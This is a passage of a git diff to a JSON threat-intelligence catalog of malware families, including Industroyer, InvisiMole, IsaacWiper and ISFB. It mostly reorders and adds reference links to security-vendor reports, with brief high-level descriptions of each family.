2012.", "meta": { @@ -27296,26 +28886,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", - "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/", - "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://en.wikipedia.org/wiki/Industroyer", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://cert.gov.ua/article/39518", - "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", - 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"https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", + "https://en.wikipedia.org/wiki/Industroyer", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too" ], "synonyms": [ "Crash", @@ -27331,24 +28922,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2", - "https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis", - "https://blog.scadafence.com/industroyer2-attack", - "https://www.splunk.com/en_us/blog/security/threat-update-industroyer2.html", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/", - "https://pylos.co/2022/04/23/industroyer2-in-perspective/", - "https://cert.gov.ua/article/39518", - "https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", - "https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure", - "https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/", "https://twitter.com/silascutler/status/1513870210398363651", "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.nozominetworks.com/downloads/US/Nozomi-Networks-WP-Industroyer2.pdf" + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/", + "https://blog.scadafence.com/industroyer2-attack", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://cert.gov.ua/article/39518", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", + "https://www.splunk.com/en_us/blog/security/threat-update-industroyer2.html", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.nozominetworks.com/downloads/US/Nozomi-Networks-WP-Industroyer2.pdf", + "https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks", + "https://pylos.co/2022/04/23/industroyer2-in-perspective/" ], "synonyms": [], "type": [] @@ -27387,15 +28982,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.infy", - "https://research.checkpoint.com/2021/after-lightning-comes-thunder/", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf", - "https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/", - "https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/", - "https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv", "http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", - "https://www.intezer.com/prince-of-persia-the-sands-of-foudre/", "http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/", - "https://cloud.tencent.com/developer/article/1738806" + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf", + "https://research.checkpoint.com/2021/after-lightning-comes-thunder/", + "https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv", + "https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/", + "https://cloud.tencent.com/developer/article/1738806", + "https://www.intezer.com/prince-of-persia-the-sands-of-foudre/", + "https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/" ], "synonyms": [ "Foudre" @@ -27405,6 +29000,19 @@ "uuid": "53616ce4-9b8e-45a0-b380-9e778cd95ae2", "value": "Infy" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.inlock", + "https://www.fortinet.com/blog/threat-research/Ransomware-Roundup-New-Inlock-and-Xorist-Variants" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3071e2d4-c692-4054-a7bf-db9af6fe3b63", + "value": "Inlock" + }, { "description": "InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.", "meta": { @@ -27442,33 +29050,25 @@ "type": [] }, "uuid": "fa022849-248c-4620-86b4-2a36c704b288", - "value": "Interception" + "value": "Interception (Windows)" }, { "description": "InvisiMole had a modular architecture, starting with a wrapper DLL, and performing its activities using two other modules that were embedded in its resources, named RC2FM and RC2CL. They were feature-rich backdoors and turned the affected computer into a video camera, letting the attackers to spy the victim. \r\nThe malicious actors behind this malware were active at least since 2013 in highly targeted campaigns with only a few dozen compromised computers in Ukraine and Russia. The wrapper DLL posed as a legitimate mpr.dll library and was placed in the same folder as explorer.exe, which made it being loaded during the Windows startup into the Windows Explorer process instead of the legitimate library.\r\nMalware came in both 32-bit and 64-bit versions, which made this persistence technique functional on both architectures.\r\n\r\nThe smaller of the modules, RC2FM, contained a backdoor with fifteen supported commands indexed by numbers. The commands could perform simple changes on the system and spying features like capturing sounds, taking screenshots or monitoring all fixed and removable drives.\r\n\r\nThe second module, RC2CL, offered features for collecting as much data about the infected computer as possible, rather than for making system changes. The module supported up to 84 commands such as file system operations, file execution, registry key manipulation, remote shell activation, wireless network scanning, listing of installed software etc. Though the backdoor was capable of interfering with the system (e.g. to log off a user, terminate a process or shut down the system), it mostly provided passive operations. Whenever possible, it tried to hide its activities by restoring the original file access time or safe-deleting its traces. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", - "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/", + "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", + "https://cocomelonc.github.io/malware/2022/11/27/malware-tricks-24.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "10f50ef8-6e3b-11e8-a648-d73fb4d2f48e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "22755fda-497e-4ef0-823e-5cb6d8701420", "value": "InvisiMole" }, @@ -27491,8 +29091,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.symantec.com/security-center/writeup/2015-122210-5128-99", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html", "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" ], @@ -27502,34 +29102,50 @@ "uuid": "44599616-3849-4960-9379-05307287ff80", "value": "IRONHALO" }, + { + "description": "According to Mitre, IronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironnetinjector", + "https://unit42.paloaltonetworks.com/ironnetinjector/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5ec639ab-f6c1-4cbb-87b1-d59344878e98", + "value": "IronNetInjector" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper", "https://thehackernews.com/2022/03/second-new-isaacwiper-data-wiper.html", - "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://www.recordedfuture.com/isaacwiper-continues-trend-wiper-attacks-against-ukraine/", - "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", - "https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", "https://securityintelligence.com/posts/new-wiper-malware-used-against-ukranian-organizations/", - "https://twitter.com/ESETresearch/status/1521910890072842240", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", "https://experience.mandiant.com/trending-evil-2/p/1", "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0324.pdf", - "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", - "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://twitter.com/ESETresearch/status/1521910890072842240", + "https://www.recordedfuture.com/isaacwiper-continues-trend-wiper-attacks-against-ukraine/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", + "https://www.brighttalk.com/webcast/15591/534324", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", - "https://www.brighttalk.com/webcast/15591/534324" + "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/" ], "synonyms": [ "LASAINRAW" @@ -27544,93 +29160,100 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html", - "https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware", - "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", - "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", - "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", - "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://news.sophos.com/en-us/2019/12/24/gozi-v3-tracked-by-their-own-stealth/", - "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", - "https://www.fidelissecurity.com/threatgeek/threat-intelligence/gozi-v3-technical-update/", - "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", - "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", - "https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy", - "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/", - "https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html", - "https://redcanary.com/resources/webinars/deep-dive-process-injection/", - "https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/", - "https://www.youtube.com/watch?v=KvOpNznu_3w", - "https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/", - "https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html", - "https://www.tgsoft.it/files/report/download.asp?id=568531345", - "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", - "https://blog.morphisec.com/ursnif/gozi-delivery-excel-macro-4.0-utilization-uptick-ocr-bypass", - "https://blog.yoroi.company/research/the-ursnif-gangs-keep-threatening-italy/", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", - "https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-ursnif-infections/", - "https://www.tgsoft.it/files/report/download.asp?id=7481257469", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", - "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "http://benkow.cc/DreambotSAS19.pdf", - "https://securityintelligence.com/posts/ursnif-cerberus-android-malware-bank-transfers-italy/", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/", + "https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", + "https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle", + "https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/", + "https://blog.group-ib.com/gozi-latest-ttps", + "https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html", + "https://www.tgsoft.it/files/report/download.asp?id=568531345", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html", + "https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://isc.sans.edu/forums/diary/German+language+malspam+pushes+Ursnif/25732/", + "https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://www.fidelissecurity.com/threatgeek/threat-intelligence/gozi-v3-technical-update/", + "https://lokalhost.pl/gozi_tree.txt", + "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-campaigns-featuring-ursnif-trojan/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", + "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", + "https://blog.yoroi.company/research/the-ursnif-gangs-keep-threatening-italy/", + "https://www.youtube.com/watch?v=jlc7Ahp8Iqg", + "https://github.com/mlodic/ursnif_beacon_decryptor", + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy", + "https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245", + "https://www.youtube.com/watch?v=KvOpNznu_3w", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb", + "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/", + "https://www.cleafy.com/cleafy-labs/digital-banking-fraud-how-the-gozi-malware-work", + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", + "https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html", + "https://redcanary.com/resources/webinars/deep-dive-process-injection/", + "https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/", + "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance", + "https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef", + "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", + "https://blog.talosintelligence.com/2020/07/valak-emerges.html", + "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", + "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", + "http://benkow.cc/DreambotSAS19.pdf", + "https://blog.morphisec.com/ursnif/gozi-delivery-excel-macro-4.0-utilization-uptick-ocr-bypass", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://news.sophos.com/en-us/2019/12/24/gozi-v3-tracked-by-their-own-stealth/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/", + "https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-ursnif-infections/", + "https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html", + "https://blog.fox-it.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks", + "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", "http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html", + "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", + "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://securityintelligence.com/posts/ursnif-cerberus-android-malware-bank-transfers-italy/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://www.cyberbit.com/new-ursnif-malware-variant/", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", - "https://isc.sans.edu/forums/diary/German+language+malspam+pushes+Ursnif/25732/", - "https://www.cleafy.com/cleafy-labs/digital-banking-fraud-how-the-gozi-malware-work", - "https://lokalhost.pl/gozi_tree.txt", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-campaigns-featuring-ursnif-trojan/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", - "https://blog.group-ib.com/gozi-latest-ttps", - 